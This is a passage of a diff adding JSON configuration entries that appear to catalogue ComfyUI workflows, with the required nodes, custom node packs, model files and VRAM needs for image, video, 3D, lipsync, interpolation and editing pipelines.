+ "flux2-dev-t2i": {"core":["BasicGuider","CLIPLoader","CLIPTextEncode","EmptyFlux2LatentImage","Flux2Scheduler","FluxGuidance","KSamplerSelect","PrimitiveInt","RandomNoise","SamplerCustomAdvanced","SaveImage","UNETLoader","VAEDecode","VAELoader"],"packs":{},"files":["diffusion_models/flux2_dev_fp8mixed.safetensors","text_encoders/mistral_3_small_flux2_bf16.safetensors","vae/full_encoder_small_decoder.safetensors"],"optional":[],"vramGb":32,"isolated":false,"firstRun":[],"validated":true},
+ "flux2-dev-t2i-turbo": {"core":["BasicGuider","CLIPLoader","CLIPTextEncode","EmptyFlux2LatentImage","Flux2Scheduler","FluxGuidance","KSamplerSelect","LoraLoaderModelOnly","PrimitiveInt","RandomNoise","SamplerCustomAdvanced","SaveImage","UNETLoader","VAEDecode","VAELoader"],"packs":{},"files":["diffusion_models/flux2_dev_fp8mixed.safetensors","loras/Flux_2-Turbo-LoRA_comfyui.safetensors","text_encoders/mistral_3_small_flux2_bf16.safetensors","vae/full_encoder_small_decoder.safetensors"],"optional":[],"vramGb":32,"isolated":false,"firstRun":[],"validated":true},
+ "frame-extract": {"core":["GetVideoComponents","ImageFromBatch","LoadVideo","SaveImage","Video Slice"],"packs":{},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "grid-zimage-contact-sheet": {"core":["CLIPLoader","CLIPTextEncode","ConditioningZeroOut","EmptySD3LatentImage","KSampler","ModelSamplingAuraFlow","SaveImage","StringConcatenate","UNETLoader","VAEDecode","VAELoader"],"packs":{"ComfyUI-KJNodes":["ImageGridtoBatch"]},"files":["diffusion_models/z_image_turbo_bf16.safetensors","text_encoders/qwen_3_4b.safetensors","vae/ae.safetensors"],"optional":[],"vramGb":14,"isolated":false,"firstRun":[],"validated":true},
+ "hidream-i1-dev-t2i": {"core":["CLIPTextEncode","EmptySD3LatentImage","KSampler","ModelSamplingSD3","QuadrupleCLIPLoader","SaveImage","UNETLoader","VAEDecode","VAELoader"],"packs":{},"files":["diffusion_models/hidream_i1_dev_fp8.safetensors","text_encoders/clip_g_hidream.safetensors","text_encoders/clip_l_hidream.safetensors","text_encoders/llama_3.1_8b_instruct_fp8_scaled.safetensors","text_encoders/t5xxl_fp8_e4m3fn_scaled.safetensors","vae/ae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "hunyuan15-i2v-720p": {"core":["BasicScheduler","CFGGuider","CLIPTextEncode","CLIPVisionEncode","CLIPVisionLoader","CreateVideo","DualCLIPLoader","HunyuanVideo15ImageToVideo","KSamplerSelect","LoadImage","ModelSamplingSD3","RandomNoise","SamplerCustomAdvanced","SaveVideo","UNETLoader","VAEDecode","VAELoader"],"packs":{},"files":["clip_vision/sigclip_vision_patch14_384.safetensors","diffusion_models/hunyuanvideo1.5_720p_i2v_fp16.safetensors","text_encoders/byt5_small_glyphxl_fp16.safetensors","text_encoders/qwen_2.5_vl_7b_fp8_scaled.safetensors","vae/hunyuanvideo15_vae_fp16.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "hunyuan15-t2v-720p": {"core":["BasicScheduler","CFGGuider","CLIPTextEncode","CreateVideo","DualCLIPLoader","EmptyHunyuanVideo15Latent","KSamplerSelect","ModelSamplingSD3","RandomNoise","SamplerCustomAdvanced","SaveVideo","UNETLoader","VAEDecode","VAELoader"],"packs":{},"files":["diffusion_models/hunyuanvideo1.5_720p_t2v_fp16.safetensors","text_encoders/byt5_small_glyphxl_fp16.safetensors","text_encoders/qwen_2.5_vl_7b_fp8_scaled.safetensors","vae/hunyuanvideo15_vae_fp16.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "image-face-mosaic-sam3": {"core":["CLIPTextEncode","CheckpointLoaderSimple","GetImageSize","GrowMask","ImageCompositeMasked","ImageScale","ImageScaleBy","LoadImage","SAM3_Detect","SaveImage"],"packs":{},"files":["checkpoints/sam3.1_multiplex_fp16.safetensors"],"optional":[],"vramGb":4,"isolated":false,"firstRun":[],"validated":true},
+ "image-to-3d-hunyuan3d-21": {"core":["CLIPVisionEncode","EmptyLatentHunyuan3Dv2","Hunyuan3Dv2Conditioning","ImageOnlyCheckpointLoader","KSampler","LoadImage","ModelSamplingAuraFlow","SaveGLB","VAEDecodeHunyuan3D","VoxelToMesh"],"packs":{},"files":["checkpoints/hunyuan_3d_v2.1.safetensors"],"optional":[],"vramGb":10,"isolated":false,"firstRun":[],"validated":true},
+ "image-to-3d-pixal3d": {"core":["ApplyTextureToMesh","BakeAmbientOcclusion","BakeNormalMapFromMesh","BakeTextureFromVoxel","CFGOverride","CLIPVisionLoader","DecimateMesh","EmptyTrellis2LatentStructure","GetMeshInfo","ImageCropToMask","KSampler","LoadBackgroundRemovalModel","LoadImage","LoadMoGeModel","MeshSmoothNormals","MeshToFile3D","MoGeGeometryToFOV","MoGeInference","ModelSamplingSD3","Pixal3DConditioning","PrimitiveInt","RemeshMesh","RemoveBackground","RescaleCFG","Save3DAdvanced","Trellis2ShapeStage","Trellis2TextureStage","Trellis2UpsampleStage","UNETLoader","UnwrapMesh","VAELoader","VaeDecodeShapeTrellis","VaeDecodeStructureTrellis2","VaeDecodeTextureTrellis"],"packs":{},"files":["background_removal/birefnet.safetensors","clip_vision/dino_v3_L_naf_fp32.safetensors","diffusion_models/pixal3d_int8_convrot.safetensors","geometry_estimation/moge_2_vitl_normal_fp16.safetensors","vae/trellis_2_shape_vae_bf16.safetensors","vae/trellis_2_texture_vae_bf16.safetensors"],"optional":[],"vramGb":16,"isolated":false,"firstRun":[],"validated":true},
+ "image-to-3d-trellis2": {"core":["ApplyTextureToMesh","BakeAmbientOcclusion","BakeNormalMapFromMesh","BakeTextureFromVoxel","CFGOverride","CLIPVisionLoader","DecimateMesh","EmptyTrellis2LatentStructure","GetMeshInfo","ImageCropToMask","KSampler","LoadBackgroundRemovalModel","LoadImage","MeshSmoothNormals","MeshToFile3D","ModelSamplingSD3","PrimitiveInt","RemeshMesh","RemoveBackground","RescaleCFG","Save3DAdvanced","Trellis2Conditioning","Trellis2ShapeStage","Trellis2TextureStage","Trellis2UpsampleStage","UNETLoader","UnwrapMesh","VAELoader","VaeDecodeShapeTrellis","VaeDecodeStructureTrellis2","VaeDecodeTextureTrellis"],"packs":{},"files":["background_removal/birefnet.safetensors","clip_vision/dino_v3_L_naf_fp32.safetensors","diffusion_models/trellis_2_int8_convrot.safetensors","vae/trellis_2_shape_vae_bf16.safetensors","vae/trellis_2_texture_vae_bf16.safetensors"],"optional":[],"vramGb":16,"isolated":false,"firstRun":[],"validated":true},
+ "image-to-3d-trellis2-multiview": {"core":["ApplyTextureToMesh","BakeAmbientOcclusion","BakeNormalMapFromMesh","BakeTextureFromVoxel","BatchImagesNode","CFGOverride","CLIPVisionLoader","CreateVideo","DecimateMesh","EmptyTrellis2LatentStructure","GetMeshInfo","ImageCropToMask","KSampler","LoadBackgroundRemovalModel","LoadImage","LoadMoGeModel","MeshSmoothNormals","MeshToFile3D","MoGeGeometryToFOV","MoGeInference","ModelSamplingSD3","Pixal3DMultiViewConditioning","PrimitiveInt","RemeshMesh","RemoveBackground","RenderMesh","RescaleCFG","RotateMesh","Save3DAdvanced","SaveVideo","Trellis2ShapeStage","Trellis2TextureStage","Trellis2UpsampleStage","UNETLoader","UnwrapMesh","VAELoader","VaeDecodeShapeTrellis","VaeDecodeStructureTrellis2","VaeDecodeTextureTrellis"],"packs":{},"files":["background_removal/birefnet.safetensors","clip_vision/dino_v3_L_naf_fp32.safetensors","diffusion_models/pixal3d_multiview_int8_convrot.safetensors","geometry_estimation/moge_2_vitl_normal_fp16.safetensors","vae/trellis_2_shape_vae_bf16.safetensors","vae/trellis_2_texture_vae_bf16.safetensors"],"optional":[],"vramGb":16,"isolated":false,"firstRun":[],"validated":true},
+ "image-to-splat-triposplat": {"core":["CLIPVisionLoader","ComfySwitchNode","CreateCameraInfo","CreateVideo","InvertMask","KSampler","LoadBackgroundRemovalModel","LoadImage","RemoveBackground","RenderSplat","SaveGLB","SaveVideo","SplatToFile3D","TripoSplatConditioning","TripoSplatPreprocessImage","UNETLoader","VAEDecodeTripoSplat","VAELoader"],"packs":{},"files":["background_removal/birefnet.safetensors","clip_vision/dino_v3_vit_h.safetensors","diffusion_models/triposplat_fp16.safetensors","vae/flux2-vae.safetensors","vae/triposplat_vae_decoder_fp16.safetensors"],"optional":[],"vramGb":8,"isolated":false,"firstRun":[],"validated":true},
+ "image-vectorize-vtracer": {"core":["LoadImage","SaveSVGNode"],"packs":{"ComfyUI-ToSVG":["TS_ImageToSVGStringColor_Vtracer","TS_SVGStringToSVGBytesIO"]},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "infinitetalk-native": {"core":["AudioEncoderEncode","AudioEncoderLoader","BasicScheduler","BatchImagesNode","CFGGuider","CLIPLoader","CLIPTextEncode","ConditioningZeroOut","CreateVideo","KSamplerSelect","LoadAudio","LoadImage","LoraLoaderModelOnly","ModelPatchLoader","PrimitiveInt","RandomNoise","SamplerCustomAdvanced","SaveVideo","UNETLoader","VAEDecode","VAELoader","WanInfiniteTalkToVideo"],"packs":{},"files":["audio_encoders/wav2vec2-chinese-base_fp16.safetensors","diffusion_models/Wan2_1-I2V-14B-480p_fp8_e4m3fn_scaled_KJ.safetensors","loras/lightx2v_I2V_14B_480p_cfg_step_distill_rank64_bf16.safetensors","model_patches/wan2.1_infiniteTalk_single_fp16.safetensors","text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","vae/Wan2_1_VAE_bf16.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "infinitetalk-wanwrapper": {"core":["CLIPVisionLoader","LoadAudio","LoadImage"],"packs":{"ComfyUI-KJNodes":["GetImageSizeAndCount","INTConstant","ImageResizeKJv2"],"ComfyUI-VideoHelperSuite":["VHS_VideoCombine"],"ComfyUI-WanVideoWrapper":["DownloadAndLoadWav2VecModel","MultiTalkModelLoader","MultiTalkWav2VecEmbeds","WanVideoBlockSwap","WanVideoClipVisionEncode","WanVideoImageToVideoMultiTalk","WanVideoLoraSelect","WanVideoModelLoader","WanVideoPassImagesFromSamples","WanVideoSampler","WanVideoTextEncodeCached","WanVideoVAELoader"]},"files":["clip_vision/clip_vision_h.safetensors","diffusion_models/Wan2_1-InfiniteTalk_Single_Q8.gguf","diffusion_models/wan2.1-i2v-14b-480p-Q8_0.gguf","loras/lightx2v_I2V_14B_480p_cfg_step_distill_rank64_bf16.safetensors","text_encoders/umt5-xxl-enc-bf16.safetensors","vae/Wan2_1_VAE_bf16.safetensors"],"optional":["loras/Wan2.1_I2V_14B_FusionX_LoRA.safetensors"],"vramGb":16,"isolated":false,"firstRun":["DownloadAndLoadWav2VecModel downloads TencentGameMate/chinese-wav2vec2-base into models/transformers on first run"],"validated":true},
+ "interpolate-film": {"core":["ComfyMathExpression","CreateVideo","FrameInterpolate","FrameInterpolationModelLoader","GetVideoComponents","LoadVideo","PrimitiveInt","SaveVideo"],"packs":{},"files":["frame_interpolation/film_net_fp16.safetensors"],"optional":[],"vramGb":4,"isolated":false,"firstRun":[],"validated":true},
+ "interpolate-rife": {"core":["ComfyMathExpression","CreateVideo","FrameInterpolate","FrameInterpolationModelLoader","GetVideoComponents","LoadVideo","PrimitiveInt","SaveVideo"],"packs":{},"files":["frame_interpolation/rife_v4.26.safetensors"],"optional":[],"vramGb":2,"isolated":false,"firstRun":[],"validated":true},
+ "interpolate-rife-fps": {"core":["ComfyMathExpression","CreateVideo","FrameInterpolate","FrameInterpolationModelLoader","GetVideoComponents","ImageBatch","ImageFromBatch","LoadVideo","PrimitiveFloat","PrimitiveInt","SaveVideo"],"packs":{"ComfyUI-VideoHelperSuite":["VHS_SelectEveryNthImage"]},"files":["frame_interpolation/rife_v4.26.safetensors"],"optional":["frame_interpolation/film_net_fp16.safetensors"],"vramGb":2,"isolated":false,"firstRun":[],"validated":true},
+ "interpolate-rife-vfi": {"core":["ComfyMathExpression","PrimitiveInt"],"packs":{"ComfyUI-Frame-Interpolation":["RIFE VFI"],"ComfyUI-VideoHelperSuite":["VHS_LoadVideo","VHS_VideoCombine","VHS_VideoInfo"]},"files":[],"optional":[],"vramGb":2,"isolated":false,"firstRun":["RIFE VFI downloads rife49.pth into custom_nodes/ComfyUI-Frame-Interpolation/ckpts/rife on first run"],"validated":true},
+ "kenburns-still": {"core":["ComfyMathExpression","ConcatenateVideo","CreateVideo","EndLoop","GetImageSize","ImageCrop","ImageScale","ImageScaleBy","LoadImage","PrimitiveFloat","PrimitiveInt","RebatchImages","SaveVideo","StartLoop"],"packs":{},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "layers-qwen-image-layered": {"core":["CLIPLoader","CLIPTextEncode","EmptyQwenImageLayeredLatentImage","GetImageSize","ImageScaleToMaxDimension","KSampler","LatentCut","LatentCutToBatch","LoadImage","ModelSamplingAuraFlow","PrimitiveStringMultiline","ReferenceLatent","SaveImage","UNETLoader","VAEDecode","VAEEncode","VAELoader"],"packs":{},"files":["diffusion_models/qwen_image_layered_fp8mixed.safetensors","text_encoders/qwen_2.5_vl_7b_fp8_scaled.safetensors","vae/qwen_image_layered_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "layers-qwen-image-layered-control": {"core":["CLIPLoader","CLIPTextEncode","EmptyQwenImageLayeredLatentImage","GetImageSize","ImageScaleToMaxDimension","KSampler","LatentCut","LatentCutToBatch","LoadImage","ModelSamplingAuraFlow","ReferenceLatent","SaveImage","UNETLoader","VAEDecode","VAEEncode","VAELoader"],"packs":{},"files":["diffusion_models/qwen_image_layered_control_bf16.safetensors","text_encoders/qwen_2.5_vl_7b_fp8_scaled.safetensors","vae/qwen_image_layered_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "lipsync-latentsync16": {"core":["LoadAudio"],"packs":{"ComfyUI-LatentSyncWrapper":["LatentSyncNode","VideoLengthAdjuster"],"ComfyUI-VideoHelperSuite":["VHS_LoadVideo","VHS_VideoCombine"]},"files":[],"optional":[],"vramGb":20,"isolated":true,"firstRun":["LatentSyncNode snapshot_downloads ByteDance/LatentSync-1.6 (latentsync_unet.pt 5.07 GB, whisper/tiny.pt 0.08 GB), stabilityai/sd-vae-ft-mse (0.33 GB) and the s3fd face detector (0.09 GB) on first run"],"validated":true},
+ "lipsync-v2v-infinitetalk": {"core":["CLIPVisionLoader","LoadAudio"],"packs":{"ComfyUI-KJNodes":["GetImageRangeFromBatch","GetImageSizeAndCount","INTConstant","ImageResizeKJv2"],"ComfyUI-VideoHelperSuite":["VHS_LoadVideo","VHS_VideoCombine"],"ComfyUI-WanVideoWrapper":["DownloadAndLoadWav2VecModel","MultiTalkModelLoader","MultiTalkWav2VecEmbeds","WanVideoBlockSwap","WanVideoClipVisionEncode","WanVideoDecode","WanVideoEncode","WanVideoImageToVideoMultiTalk","WanVideoLoraSelect","WanVideoModelLoader","WanVideoSampler","WanVideoTextEncodeCached","WanVideoVAELoader"]},"files":["clip_vision/clip_vision_h.safetensors","diffusion_models/Wan2_1-InfiniteTalk_Single_Q8.gguf","diffusion_models/wan2.1-i2v-14b-480p-Q8_0.gguf","loras/lightx2v_I2V_14B_480p_cfg_step_distill_rank64_bf16.safetensors","text_encoders/umt5-xxl-enc-bf16.safetensors","vae/Wan2_1_VAE_bf16.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":["DownloadAndLoadWav2VecModel fetches TencentGameMate/chinese-wav2vec2-base (0.38 GB) on first run"],"validated":true},
+ "ltx2-i2v": {"core":["CFGGuider","CLIPTextEncode","CheckpointLoaderSimple","CreateVideo","EmptyImage","EmptyLTXVLatentVideo","GetImageSize","ImageScaleBy","KSamplerSelect","LTXAVTextEncoderLoader","LTXVAudioVAEDecode","LTXVAudioVAELoader","LTXVConcatAVLatent","LTXVConditioning","LTXVCropGuides","LTXVEmptyLatentAudio","LTXVImgToVideoInplace","LTXVLatentUpsampler","LTXVPreprocess","LTXVScheduler","LTXVSeparateAVLatent","LatentUpscaleModelLoader","LoadImage","LoraLoaderModelOnly","ManualSigmas","PrimitiveInt","RandomNoise","ResizeImageMaskNode","SamplerCustomAdvanced","SaveVideo","VAEDecode"],"packs":{},"files":["checkpoints/ltx-2-19b-dev-fp8.safetensors","latent_upscale_models/ltx-2-spatial-upscaler-x2-1.0.safetensors","loras/ltx-2-19b-distilled-lora-384.safetensors","text_encoders/gemma_3_12B_it_fp4_mixed.safetensors"],"optional":[],"vramGb":32,"isolated":false,"firstRun":[],"validated":true},
+ "ltx2-t2v": {"core":["CFGGuider","CLIPTextEncode","CheckpointLoaderSimple","CreateVideo","EmptyImage","EmptyLTXVLatentVideo","GetImageSize","ImageScaleBy","KSamplerSelect","LTXAVTextEncoderLoader","LTXVAudioVAEDecode","LTXVAudioVAELoader","LTXVConcatAVLatent","LTXVConditioning","LTXVCropGuides","LTXVEmptyLatentAudio","LTXVLatentUpsampler","LTXVScheduler","LTXVSeparateAVLatent","LatentUpscaleModelLoader","LoraLoaderModelOnly","ManualSigmas","PrimitiveFloat","PrimitiveInt","RandomNoise","SamplerCustomAdvanced","SaveVideo","VAEDecodeTiled"],"packs":{},"files":["checkpoints/ltx-2-19b-dev-fp8.safetensors","latent_upscale_models/ltx-2-spatial-upscaler-x2-1.0.safetensors","loras/ltx-2-19b-distilled-lora-384.safetensors","text_encoders/gemma_3_12B_it_fp4_mixed.safetensors"],"optional":[],"vramGb":32,"isolated":false,"firstRun":[],"validated":true},
+ "ltx23-flf2v-lora": {"core":["CFGGuider","CLIPTextEncode","CheckpointLoaderSimple","ComfyMathExpression","CreateVideo","EmptyLTXVLatentVideo","GetImageSize","LTXAVTextEncoderLoader","LTXVAddGuide","LTXVAudioVAELoader","LTXVConcatAVLatent","LTXVConditioning","LTXVCropGuides","LTXVEmptyLatentAudio","LTXVPreprocess","LTXVSeparateAVLatent","LoadImage","ManualSigmas","PrimitiveInt","RandomNoise","ResizeImageMaskNode","SamplerCustomAdvanced","SamplerEulerAncestral","SaveVideo","VAEDecodeTiled"],"packs":{},"files":["checkpoints/ltx-2.3-22b-distilled-fp8.safetensors","text_encoders/gemma_3_12B_it_fp4_mixed.safetensors"],"optional":[],"vramGb":32,"isolated":false,"firstRun":[],"validated":true},
+ "ltx23-i2v-lora": {"core":["CFGGuider","CLIPTextEncode","CheckpointLoaderSimple","ComfyMathExpression","CreateVideo","EmptyLTXVLatentVideo","GetImageSize","LTXAVTextEncoderLoader","LTXVAddGuide","LTXVAudioVAELoader","LTXVConcatAVLatent","LTXVConditioning","LTXVCropGuides","LTXVEmptyLatentAudio","LTXVPreprocess","LTXVSeparateAVLatent","LoadImage","ManualSigmas","PrimitiveInt","RandomNoise","ResizeImageMaskNode","SamplerCustomAdvanced","SamplerEulerAncestral","SaveVideo","VAEDecodeTiled"],"packs":{},"files":["checkpoints/ltx-2.3-22b-distilled-fp8.safetensors","text_encoders/gemma_3_12B_it_fp4_mixed.safetensors"],"optional":[],"vramGb":32,"isolated":false,"firstRun":[],"validated":true},
+ "ltx23-t2v-lora": {"core":["CFGGuider","CLIPTextEncode","CheckpointLoaderSimple","ComfyMathExpression","CreateVideo","EmptyLTXVLatentVideo","LTXAVTextEncoderLoader","LTXVAudioVAELoader","LTXVConcatAVLatent","LTXVConditioning","LTXVCropGuides","LTXVEmptyLatentAudio","LTXVSeparateAVLatent","ManualSigmas","PrimitiveInt","RandomNoise","SamplerCustomAdvanced","SamplerEulerAncestral","SaveVideo","VAEDecodeTiled"],"packs":{},"files":["checkpoints/ltx-2.3-22b-distilled-fp8.safetensors","text_encoders/gemma_3_12B_it_fp4_mixed.safetensors"],"optional":[],"vramGb":32,"isolated":false,"firstRun":[],"validated":true},
+ "ltx25-i2v": {"core":["CLIPLoader","CLIPTextEncode","ComfyMathExpression","CreateVideo","EmptyLTXVLatentVideo","KSamplerSelect","LTXVAudioVAEDecode","LTXVConcatAVLatent","LTXVConditioning","LTXVDualCFGGuider","LTXVEmptyLatentAudio","LTXVImgToVideoInplace","LTXVLatentUpsampler","LTXVPreprocess","LTXVSeparateAVLatent","LatentUpscaleModelLoader","LoadImage","ManualSigmas","PrimitiveBoolean","PrimitiveInt","PrimitiveStringMultiline","RandomNoise","ResizeImageMaskNode","SamplerCustomAdvanced","SaveVideo","UNETLoader","VAEDecodeTiled","VAELoader"],"packs":{},"files":["diffusion_models/ltx-2.5-22b-distilled-transformer-comfy-int8-convrot.safetensors","latent_upscale_models/ltx-2.5-latent-spatial-upscaler-x2-bf16-1.0.safetensors","text_encoders/gemma4-12b-with-proj-ltx-2.5-comfy-int8-convrot.safetensors","vae/ltx-2.5-audio-vae-bf16.safetensors","vae/ltx-2.5-video-vae-bf16.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "ltx25-t2v": {"core":["CLIPLoader","CLIPTextEncode","ComfyMathExpression","CreateVideo","EmptyLTXVLatentVideo","KSamplerSelect","LTXVAudioVAEDecode","LTXVConcatAVLatent","LTXVConditioning","LTXVDualCFGGuider","LTXVEmptyLatentAudio","LTXVLatentUpsampler","LTXVSeparateAVLatent","LatentUpscaleModelLoader","ManualSigmas","PrimitiveInt","PrimitiveStringMultiline","RandomNoise","SamplerCustomAdvanced","SaveVideo","UNETLoader","VAEDecodeTiled","VAELoader"],"packs":{},"files":["diffusion_models/ltx-2.5-22b-distilled-transformer-comfy-int8-convrot.safetensors","latent_upscale_models/ltx-2.5-latent-spatial-upscaler-x2-bf16-1.0.safetensors","text_encoders/gemma4-12b-with-proj-ltx-2.5-comfy-int8-convrot.safetensors","vae/ltx-2.5-audio-vae-bf16.safetensors","vae/ltx-2.5-video-vae-bf16.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "mixed-media-zimage-frames": {"core":["CLIPLoader","CLIPTextEncode","Canny","ConditioningZeroOut","ImageScale","KSampler","LatentBatchSeedBehavior","ModelPatchLoader","ModelSamplingAuraFlow","QwenImageDiffsynthControlnet","UNETLoader","VAEDecode","VAEEncode","VAELoader"],"packs":{"ComfyUI-VideoHelperSuite":["VHS_BatchManager","VHS_LoadVideo","VHS_VideoCombine"]},"files":["diffusion_models/z_image_turbo_bf16.safetensors","model_patches/Z-Image-Turbo-Fun-Controlnet-Union.safetensors","text_encoders/qwen_3_4b.safetensors","vae/ae.safetensors"],"optional":[],"vramGb":16,"isolated":false,"firstRun":[],"validated":true},
+ "music-ace-step-15": {"core":["CheckpointLoaderSimple","ConditioningZeroOut","EmptyAceStep1.5LatentAudio","KSampler","ModelSamplingAuraFlow","SaveAudioAdvanced","TextEncodeAceStepAudio1.5","VAEDecodeAudio"],"packs":{},"files":["checkpoints/ace_step_1.5_turbo_aio.safetensors"],"optional":[],"vramGb":8,"isolated":false,"firstRun":[],"validated":true},
+ "ocr-lines-qwen35": {"core":["CLIPLoader","GetImageSize","ImageScaleToMaxDimension","LoadImage","PreviewAny","SaveText","StringFormat","TextGenerate"],"packs":{},"files":["text_encoders/ovisocr3_0.8b_bf16.safetensors"],"optional":[],"vramGb":3,"isolated":false,"firstRun":[],"validated":true},
+ "palette-transfer-image": {"core":["ColorTransfer","LoadImage","SaveImage"],"packs":{},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "palette-transfer-video": {"core":["ColorTransfer","CreateVideo","GetVideoComponents","LoadImage","LoadVideo","SaveVideo"],"packs":{},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "palette-zimage-hex": {"core":["CLIPLoader","CLIPTextEncode","ColorTransfer","ConditioningZeroOut","EmptySD3LatentImage","KSampler","LoadImage","ModelSamplingAuraFlow","SaveImage","StringConcatenate","UNETLoader","VAEDecode","VAELoader"],"packs":{},"files":["diffusion_models/z_image_turbo_bf16.safetensors","text_encoders/qwen_3_4b.safetensors","vae/ae.safetensors"],"optional":[],"vramGb":12,"isolated":false,"firstRun":[],"validated":true},
+ "product-shot-qwen-edit-2509": {"core":["CFGNorm","CLIPLoader","EmptyImage","FluxKontextImageScale","GetImageSize","ImageCompositeMasked","InvertMask","KSampler","LoadBackgroundRemovalModel","LoadImage","LoraLoaderModelOnly","ModelSamplingAuraFlow","PrimitiveFloat","PrimitiveInt","RemoveBackground","SaveImageAdvanced","StringConcatenate","TextEncodeQwenImageEditPlus","UNETLoader","VAEDecode","VAEEncode","VAELoader"],"packs":{},"files":["background_removal/birefnet.safetensors","diffusion_models/qwen_image_edit_2509_fp8_e4m3fn.safetensors","loras/Qwen-Image-Edit-2509-Lightning-4steps-V1.0-bf16.safetensors","loras/Qwen-Image-Edit-2509-White_to_Scene.safetensors","text_encoders/qwen_2.5_vl_7b_fp8_scaled.safetensors","vae/qwen_image_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "qwen-image-2512-t2i": {"core":["CLIPLoader","CLIPTextEncode","EmptySD3LatentImage","KSampler","ModelSamplingAuraFlow","PrimitiveFloat","PrimitiveInt","SaveImage","UNETLoader","VAEDecode","VAELoader"],"packs":{},"files":["diffusion_models/qwen_image_2512_fp8_e4m3fn.safetensors","text_encoders/qwen_2.5_vl_7b_fp8_scaled.safetensors","vae/qwen_image_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "qwen-image-2512-t2i-lightning": {"core":["CLIPLoader","CLIPTextEncode","EmptySD3LatentImage","KSampler","LoraLoaderModelOnly","ModelSamplingAuraFlow","PrimitiveFloat","PrimitiveInt","SaveImage","UNETLoader","VAEDecode","VAELoader"],"packs":{},"files":["diffusion_models/qwen_image_2512_fp8_e4m3fn.safetensors","loras/Qwen-Image-2512-Lightning-4steps-V1.0-fp32.safetensors","text_encoders/qwen_2.5_vl_7b_fp8_scaled.safetensors","vae/qwen_image_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "qwen-image-edit-2509": {"core":["CFGNorm","CLIPLoader","FluxKontextImageScale","KSampler","LoadImage","LoraLoaderModelOnly","ModelSamplingAuraFlow","PrimitiveFloat","PrimitiveInt","SaveImageAdvanced","TextEncodeQwenImageEditPlus","UNETLoader","VAEDecode","VAEEncode","VAELoader"],"packs":{},"files":["diffusion_models/qwen_image_edit_2509_fp8_e4m3fn.safetensors","loras/Qwen-Image-Edit-2509-Lightning-4steps-V1.0-bf16.safetensors","text_encoders/qwen_2.5_vl_7b_fp8_scaled.safetensors","vae/qwen_image_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "qwen-image-edit-2509-angles": {"core":["CFGNorm","CLIPLoader","FluxKontextImageScale","KSampler","LoadImage","LoraLoaderModelOnly","ModelSamplingAuraFlow","PrimitiveFloat","PrimitiveInt","SaveImageAdvanced","TextEncodeQwenImageEditPlus","UNETLoader","VAEDecode","VAEEncode","VAELoader"],"packs":{},"files":["diffusion_models/qwen_image_edit_2509_fp8_e4m3fn.safetensors","loras/Qwen-Image-Edit-2509-Lightning-4steps-V1.0-bf16.safetensors","loras/qwen-edit-2509-multiple-angles-dx8152.safetensors","text_encoders/qwen_2.5_vl_7b_fp8_scaled.safetensors","vae/qwen_image_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "qwen-image-edit-2511": {"core":["CFGNorm","CLIPLoader","FluxKontextImageScale","FluxKontextMultiReferenceLatentMethod","KSampler","LoadImage","ModelSamplingAuraFlow","PrimitiveFloat","PrimitiveInt","SaveImage","TextEncodeQwenImageEditPlus","UNETLoader","VAEDecode","VAEEncode","VAELoader"],"packs":{},"files":["diffusion_models/qwen_image_edit_2511_fp8mixed.safetensors","text_encoders/qwen_2.5_vl_7b_fp8_scaled.safetensors","vae/qwen_image_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "qwen-image-edit-2511-multi": {"core":["CFGNorm","CLIPLoader","FluxKontextImageScale","FluxKontextMultiReferenceLatentMethod","KSampler","LoadImage","ModelSamplingAuraFlow","PrimitiveFloat","PrimitiveInt","SaveImage","TextEncodeQwenImageEditPlus","UNETLoader","VAEDecode","VAEEncode","VAELoader"],"packs":{},"files":["diffusion_models/qwen_image_edit_2511_fp8mixed.safetensors","text_encoders/qwen_2.5_vl_7b_fp8_scaled.safetensors","vae/qwen_image_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "reference-brief-gemma4": {"core":["CLIPLoader","SaveText","TextGenerate"],"packs":{"ComfyUI-VideoHelperSuite":["VHS_LoadVideo"]},"files":["text_encoders/gemma4_e4b_it_fp8_scaled.safetensors"],"optional":[],"vramGb":12,"isolated":false,"firstRun":[],"validated":true},
+ "relight-qwen-edit-2509": {"core":["CFGNorm","CLIPLoader","FluxKontextImageScale","KSampler","LoadImage","LoraLoaderModelOnly","ModelSamplingAuraFlow","PrimitiveFloat","PrimitiveInt","SaveImageAdvanced","StringConcatenate","TextEncodeQwenImageEditPlus","UNETLoader","VAEDecode","VAEEncode","VAELoader"],"packs":{},"files":["diffusion_models/qwen_image_edit_2509_fp8_e4m3fn.safetensors","loras/Qwen-Image-Edit-2509-Lightning-4steps-V1.0-bf16.safetensors","loras/Qwen-Image-Edit-2509-Relight.safetensors","text_encoders/qwen_2.5_vl_7b_fp8_scaled.safetensors","vae/qwen_image_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
